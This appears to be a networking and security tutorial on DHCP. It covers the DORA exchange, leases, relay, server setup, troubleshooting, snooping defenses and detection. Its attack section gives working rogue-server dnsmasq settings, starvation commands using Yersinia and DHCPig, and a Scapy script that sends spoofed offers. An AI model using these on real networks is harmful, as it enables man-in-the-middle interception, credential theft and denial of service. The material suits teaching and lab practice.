DHCP (Dynamic Host Configuration Protocol)

DHCP is the protocol that automatically assigns IP addresses and network configuration to devices when they join a network. It's what allows you to connect to Wi-Fi and immediately browse the internet without manually configuring anything. While DHCP makes networking convenient, it's also a common attack vector—rogue DHCP servers, DHCP starvation, and DHCP snooping attacks are all part of a penetration tester's toolkit.

What You'll Learn

What DHCP is and why it's essential
The DORA process (Discover, Offer, Request, Acknowledge)
DHCP packet types and options
DHCP relay and DHCP server configuration
DHCP attacks (rogue servers, starvation, spoofing)
DHCP snooping and defenses
Tools for DHCP analysis and exploitation
Troubleshooting DHCP issues

The Problem DHCP Solves

Without DHCP (Manual Configuration):

Network Admin must configure EVERY device:
────────────────────────────────────────
Device 1:  IP: 192.168.1.10
           Mask: 255.255.255.0
           Gateway: 192.168.1.1
           DNS: 8.8.8.8

Device 2:  IP: 192.168.1.11
           Mask: 255.255.255.0
           Gateway: 192.168.1.1
           DNS: 8.8.8.8

Device 3:  IP: 192.168.1.12
           ... (you get the idea)

Problems:
- Time-consuming
- Error-prone (typos, duplicate IPs)
- Doesn't scale
- Users need technical knowledge

With DHCP (Automatic):

Device connects to network
DHCP server automatically assigns:
- IP address
- Subnet mask
- Default gateway
- DNS servers
- Other options

User does nothing! ✨

How DHCP Works: The DORA Process

DORA = Discover, Offer, Request, Acknowledge

┌────────────┐                              ┌─────────────┐
│   Client   │                              │ DHCP Server │
│ (no IP)    │                              │             │
└─────┬──────┘                              └──────┬──────┘
      │                                             │
      │ 1. DHCP DISCOVER (broadcast)               │
      │    "I need an IP address!"                 │
      │────────────────────────────────────────────>│
      │    Src: 0.0.0.0:68                         │
      │    Dst: 255.255.255.255:67                 │
      │                                             │
      │ 2. DHCP OFFER                              │
      │    "Here's an available IP: 192.168.1.100" │
      │<────────────────────────────────────────────│
      │    Src: 192.168.1.1:67                     │
      │    Dst: 255.255.255.255:68 (broadcast)     │
      │                                             │
      │ 3. DHCP REQUEST (broadcast)                │
      │    "I accept 192.168.1.100"                │
      │────────────────────────────────────────────>│
      │    Src: 0.0.0.0:68                         │
      │    Dst: 255.255.255.255:67                 │
      │                                             │
      │ 4. DHCP ACK                                │
      │    "Confirmed! IP is yours for X hours"    │
      │<────────────────────────────────────────────│
      │    Src: 192.168.1.1:67                     │
      │    Dst: 255.255.255.255:68                 │
      │                                             │
┌─────┴──────┐                              └──────┬──────┘
│   Client   │
│ 192.168.1. │
│    100     │
└────────────┘

Step-by-Step Explanation:

1. DHCP DISCOVER (Client → Broadcast)

Client boots up, has no IP address yet
Sends broadcast to find DHCP servers

Packet details:
  Source IP: 0.0.0.0 (doesn't have IP yet)
  Dest IP: 255.255.255.255 (broadcast)
  Source Port: 68 (DHCP client)
  Dest Port: 67 (DHCP server)
  Message: "I need network configuration!"

2. DHCP OFFER (Server → Broadcast/Unicast)

DHCP server receives DISCOVER
Selects available IP from pool
Offers it to client

Packet contains:
  - Offered IP: 192.168.1.100
  - Subnet mask: 255.255.255.0
  - Gateway: 192.168.1.1
  - DNS servers: 8.8.8.8, 8.8.4.4
  - Lease time: 86400 seconds (24 hours)

3. DHCP REQUEST (Client → Broadcast)

Client may receive multiple OFFERs (multiple DHCP servers)
Client chooses one (usually first received)
Broadcasts REQUEST to accept chosen offer

Why broadcast?
  - Tell other DHCP servers "I chose someone else"
  - Chosen server knows it was selected

4. DHCP ACK (Server → Broadcast/Unicast)

Server acknowledges REQUEST
Confirms IP assignment
Client now configures its network interface

Client can start using the IP address!

Alternative: DHCP NAK (Negative Acknowledgment)

If server can't fulfill request:
  - IP already assigned
  - Client requested invalid IP
  - Lease expired

Server sends DHCP NAK
Client starts over with DISCOVER

DHCP Lease Process

Initial Lease:

1. Client gets IP (DORA process)
2. Lease timer starts (e.g., 24 hours)

Lease Renewal:

Timeline (24-hour lease):

T = 0h:     Lease starts
T = 12h:    Client tries to renew (50% mark)
            Sends DHCP REQUEST directly to server
            If successful: Reset lease timer

T = 21h:    If renewal failed, try again (87.5% mark)
            Broadcast DHCP REQUEST
            Any DHCP server can respond

T = 24h:    Lease expires
            Client must release IP
            Start DORA process again

Lease Release:

When client disconnects gracefully:
  Sends DHCP RELEASE to server
  "I'm done with this IP, you can reuse it"

Server marks IP as available again

DHCP Packet Types

1. DHCP DISCOVER   - Client: Find DHCP servers
2. DHCP OFFER      - Server: Here's an IP offer
3. DHCP REQUEST    - Client: I accept this offer
4. DHCP ACK        - Server: Confirmed
5. DHCP NAK        - Server: Rejected
6. DHCP DECLINE    - Client: IP already in use
7. DHCP RELEASE    - Client: I'm done with this IP
8. DHCP INFORM     - Client: I have IP, need other config

DHCP Options

DHCP can provide much more than just IP addresses:

Common DHCP Options:

Option 1:   Subnet Mask
Option 3:   Default Gateway (Router)
Option 6:   DNS Servers
Option 12:  Hostname
Option 15:  Domain Name
Option 28:  Broadcast Address
Option 42:  NTP Servers (time sync)
Option 51:  Lease Time
Option 66:  TFTP Server (PXE boot)
Option 119: Domain Search List

Example DHCP Response:

Offered IP: 192.168.1.100
Option 1:   255.255.255.0 (subnet mask)
Option 3:   192.168.1.1 (gateway)
Option 6:   8.8.8.8, 8.8.4.4 (DNS)
Option 15:  example.com (domain)
Option 51:  86400 (lease time: 24 hours)

DHCP Relay

Problem: DHCP uses broadcast, doesn't cross routers.

Solution: DHCP Relay Agent

Network A              Router             Network B
(Client)            (DHCP Relay)      (DHCP Server)
─────────           ─────────────      ─────────────

Client → Broadcast DISCOVER
                      ↓
        Router receives broadcast
        Forwards as unicast to DHCP server
                      ↓
        DHCP server sends OFFER
                      ↓
        Router forwards to client

Configuration (Cisco):

interface GigabitEthernet0/0
  ip helper-address 192.168.10.5

Viewing DHCP Information

Linux:

# View DHCP lease info
cat /var/lib/dhcp/dhclient.leases

# Release IP
sudo dhclient -r

# Request new IP
sudo dhclient

# Check DHCP process
journalctl -u NetworkManager | grep -i dhcp

Windows:

# View DHCP info
ipconfig /all

# Look for:
#   DHCP Enabled: Yes
#   DHCP Server: 192.168.1.1
#   Lease Obtained: ...
#   Lease Expires: ...

# Release IP
ipconfig /release

# Request new IP
ipconfig /renew

macOS:

# View DHCP info
ipconfig getpacket en0

# Release
sudo ipconfig set en0 NONE

# Renew
sudo ipconfig set en0 DHCP

DHCP Attacks

1. Rogue DHCP Server

Attack: Set up fake DHCP server on network.

How it works:

1. Attacker sets up DHCP server
2. Responds to DHCP DISCOVER faster than legitimate server
3. Provides malicious configuration:
   - Attacker's IP as gateway (MITM)
   - Attacker's IP as DNS (redirect traffic)
   - Malicious proxy settings

Victim's traffic now goes through attacker!

Execute:

# Set up rogue DHCP server (Linux)
apt install dnsmasq

# Configure dnsmasq
cat > /etc/dnsmasq.conf <<EOF
interface=eth0
dhcp-range=192.168.1.50,192.168.1.150,12h
dhcp-option=3,192.168.1.99  # Gateway (attacker's IP)
dhcp-option=6,192.168.1.99  # DNS (attacker's IP)
EOF

# Start rogue server
systemctl start dnsmasq

# Now wait for clients to request IPs...

Impact:

Man-in-the-Middle attacks
Credential theft
Traffic redirection
DNS spoofing

2. DHCP Starvation

Attack: Exhaust DHCP pool so legitimate users can't get IPs.

How it works:

1. Attacker sends thousands of DHCP DISCOVER packets
2. Each with different fake MAC address
3. DHCP server assigns IP to each fake MAC
4. Pool exhausted
5. Legitimate users can't get IPs (DoS)

Execute:

# Using Yersinia
apt install yersinia

# GUI mode
yersinia -G

# Select DHCP protocol
# Launch attack: DHCP starvation

# Command-line
yersinia dhcp -attack 1

# Using DHCPig
git clone https://github.com/kamorin/DHCPig
cd DHCPig
./pig.py eth0 -s

# Tool will request all available IPs

Combined attack:

1. DHCP starvation (exhaust legitimate server)
2. Launch rogue DHCP server
3. Victims now connect to attacker's server

3. DHCP Spoofing

Attack: Respond to DHCP requests with fake offers.

# Using Scapy (Python)
from scapy.all import *

def dhcp_spoof(pkt):
    if DHCP in pkt and pkt[DHCP].options[0][1] == 1:  # DISCOVER
        # Send fake OFFER
        offer = (Ether(src="AA:BB:CC:DD:EE:FF", dst="ff:ff:ff:ff:ff:ff") /
                 IP(src="192.168.1.1", dst="255.255.255.255") /
                 UDP(sport=67, dport=68) /
                 BOOTP(op=2, yiaddr="192.168.1.100", siaddr="192.168.1.1") /
                 DHCP(options=[("message-type", "offer"),
                              ("subnet_mask", "255.255.255.0"),
                              ("router", "192.168.1.99"),  # Attacker
                              ("name_server", "192.168.1.99"),  # Attacker
                              "end"]))
        sendp(offer, iface="eth0")

sniff(filter="udp and port 67", prn=dhcp_spoof, store=0)

DHCP Snooping (Defense)

DHCP Snooping is a switch security feature that validates DHCP packets.

How It Works:

1. Designate trusted ports (connected to legitimate DHCP servers)
2. All other ports are untrusted
3. DHCP OFFER/ACK only allowed from trusted ports
4. Build DHCP binding table (IP, MAC, Port, VLAN)
5. Drop invalid DHCP packets

Configuration (Cisco):

# Enable DHCP snooping globally
ip dhcp snooping

# Enable on VLAN
ip dhcp snooping vlan 1

# Trust port connected to real DHCP server
interface GigabitEthernet0/1
  ip dhcp snooping trust

# All other ports untrusted by default
# Rate limit DHCP requests (prevent starvation)
interface range GigabitEthernet0/2-24
  ip dhcp snooping limit rate 10

DHCP Binding Table:

show ip dhcp snooping binding

MacAddress         IpAddress    Lease(sec)  Type          VLAN  Interface
──────────────     ─────────    ──────────  ────────────  ────  ──────────
AA:BB:CC:DD:EE:FF  192.168.1.10  86400      dhcp-snooping 1     Gi0/5
11:22:33:44:55:66  192.168.1.11  86400      dhcp-snooping 1     Gi0/8

Detecting DHCP Attacks

Signs:

1. Multiple DHCP Servers:

# Send DHCP DISCOVER, see how many OFFER responses
nmap --script broadcast-dhcp-discover

# More than one response = rogue server!

2. Unexpected Gateway/DNS:

# Check configuration
ipconfig /all  # Windows
ip route show  # Linux

# Is gateway correct?
# Are DNS servers correct?

3. IP Conflicts:

"IP address conflict" messages
Different devices assigned same IP
Sign of DHCP chaos/attack

Monitoring Tools:

# Capture DHCP traffic
tcpdump -i eth0 port 67 or port 68 -vv

# Wireshark filter
bootp  # or  dhcp

# Look for:
# - Multiple DHCP servers
# - Unusual DHCP options
# - Rapid DHCP requests (starvation)

DHCP Server Configuration

Linux (dnsmasq):

# Install
apt install dnsmasq

# Configure /etc/dnsmasq.conf
interface=eth0
dhcp-range=192.168.1.100,192.168.1.200,24h
dhcp-option=3,192.168.1.1     # Gateway
dhcp-option=6,8.8.8.8,8.8.4.4 # DNS servers

# Static assignment (based on MAC)
dhcp-host=AA:BB:CC:DD:EE:FF,192.168.1.50

# Start service
systemctl enable dnsmasq
systemctl start dnsmasq

Linux (isc-dhcp-server):

# Install
apt install isc-dhcp-server

# Configure /etc/dhcp/dhcpd.conf
subnet 192.168.1.0 netmask 255.255.255.0 {
  range 192.168.1.100 192.168.1.200;
  option routers 192.168.1.1;
  option domain-name-servers 8.8.8.8, 8.8.4.4;
  option domain-name "example.local";
  default-lease-time 86400;
  max-lease-time 172800;
}

# Static assignment
host server1 {
  hardware ethernet AA:BB:CC:DD:EE:FF;
  fixed-address 192.168.1.10;
}

# Start service
systemctl enable isc-dhcp-server
systemctl start isc-dhcp-server

# View leases
cat /var/lib/dhcp/dhcpd.leases

Windows Server:

1. Add DHCP Server role
2. Authorize DHCP server in Active Directory
3. Create DHCP scope:
   - IP range
   - Subnet mask
   - Gateway
   - DNS servers
   - Lease duration
4. Configure exclusions (reserved IPs)
5. Create reservations (static DHCP)

Troubleshooting DHCP

Problem: Can't get IP address

Symptoms:

IP: 169.254.x.x (APIPA)
or
No network connectivity

Diagnosis:

# 1. Check DHCP client running
# Linux
systemctl status NetworkManager
systemctl status dhclient

# Windows
net start dhcp

# 2. Capture DHCP traffic
tcpdump -i eth0 port 67 or port 68

# Release and renew
sudo dhclient -r && sudo dhclient  # Linux
ipconfig /release && ipconfig /renew  # Windows

# 3. Check for:
# - DISCOVER sent?
# - OFFER received?
# - REQUEST sent?
# - ACK received?

Possible causes:

DHCP server down
Cable unplugged
DHCP pool exhausted
Firewall blocking DHCP
Rogue DHCP server interference

Problem: Wrong gateway/DNS

Symptoms:

Can reach local network
Can't reach internet
DNS not working

Check configuration:

# Linux
ip route show
cat /etc/resolv.conf

# Windows
ipconfig /all

# Gateway should be router IP
# DNS should be correct servers

If wrong:

Rogue DHCP server
Misconfigured DHCP server
Manual override by user

Try It Yourself

Exercise 1: View Your DHCP Configuration

# Windows
ipconfig /all

# Linux
ip addr show
cat /etc/resolv.conf

# Identify:
# - Your IP address
# - Subnet mask
# - Default gateway
# - DNS servers
# - DHCP server IP
# - Lease obtained/expires

Exercise 2: Renew DHCP Lease

# Release current IP
# Windows:
ipconfig /release

# Linux:
sudo dhclient -r

# Check IP - should be gone or 169.254.x.x

# Request new IP
# Windows:
ipconfig /renew

# Linux:
sudo dhclient

# Verify new IP (might be same or different)

Exercise 3: Capture DHCP Traffic

# Start capture
sudo tcpdump -i eth0 port 67 or port 68 -vv -w dhcp.pcap

# In another terminal, renew IP
sudo dhclient -r && sudo dhclient

# Stop capture (Ctrl+C)

# Analyze in Wireshark
wireshark dhcp.pcap

# Filter: bootp
# Observe DORA process

Exercise 4: Detect DHCP Servers (Lab Only)

# Scan for DHCP servers
nmap --script broadcast-dhcp-discover

# Output shows all DHCP servers on network
# Should be only one!
# More than one = possible rogue server

DHCP Quick Reference

# View DHCP info
ipconfig /all                    # Windows
cat /var/lib/dhcp/dhclient.leases  # Linux

# Release IP
ipconfig /release                # Windows
sudo dhclient -r                 # Linux

# Renew IP
ipconfig /renew                  # Windows
sudo dhclient                    # Linux

# Capture DHCP traffic
tcpdump -i eth0 port 67 or port 68

# Wireshark filter
bootp  # or  dhcp

# Detect DHCP servers
nmap --script broadcast-dhcp-discover

# DHCP attack (LAB ONLY)
yersinia dhcp -attack 1          # Starvation

Resources

Tools:

dnsmasq: Lightweight DHCP/DNS server
isc-dhcp-server: Full-featured DHCP server
Yersinia: DHCP attack tool
DHCPig: DHCP starvation tool
Wireshark: Packet analysis

Reading:

RFC 2131: DHCP specification
RFC 2132: DHCP options
Cloudflare: What is DHCP?

Practice:

Set up DHCP server in lab
Practice DHCP snooping configuration
Understand rogue DHCP detection

Next Steps

Set up DHCP server in your home lab
Configure DHCP snooping on managed switch
Understand DHCP relay for multiple subnets
Practice detecting rogue DHCP servers
Learn about IPv6 DHCPv6 and SLAAC

DHCP makes networking convenient, but it's a trust-based protocol. Understanding its vulnerabilities is essential for both attacking and defending networks!

"DHCP: Automatic configuration, automatic exploitation."